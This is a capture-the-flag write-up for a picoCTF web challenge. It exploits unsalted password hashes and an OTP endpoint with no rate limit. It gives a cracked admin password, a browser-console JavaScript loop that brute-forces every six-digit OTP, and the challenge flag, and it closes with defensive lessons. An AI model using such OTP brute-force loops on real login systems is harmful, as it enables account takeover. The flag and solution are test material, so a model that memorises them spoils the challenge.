Challenge
Category: Web · Points: 200 · CTF: picoCTF 2026
Analysis
Reviewing the source code reveals two vulnerabilities:
- Unsalted password hashes — passwords are hashed without a salt, making them crackable with rainbow tables or hashcat
- No rate limiter on OTP — the two-factor authentication endpoint accepts unlimited guesses, enabling brute force
Approach
Step 1 — Find a target account
Browse the database for a high-value account. The admin account has 2FA enabled — a good target.
Step 2 — Crack the password hash
The admin’s hash cracks to apple@123. Log in with:
- Username:
admin - Password:
apple@123
This lands on the 2FA page.
Step 3 — Brute force the OTP
Since there’s no rate limiter, use the browser console to automate OTP guesses:
for (let i = 0; i <= 999999; i++) {
let otp = String(i).padStart(6, '0');
let resp = await fetch('/verify-otp', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({otp: otp})
});
let data = await resp.json();
if (data.success) {
console.log('OTP found:', otp);
break;
}
}
The correct OTP is found and the flag is returned.
Key Takeaway
Always salt password hashes (use bcrypt, argon2, or scrypt). Always rate-limit OTP endpoints — a 6-digit OTP has only 1,000,000 possible values and can be brute forced in minutes without throttling.
Flag
picoCTF{n0_r4t3_n0_4uth_7bd3c284}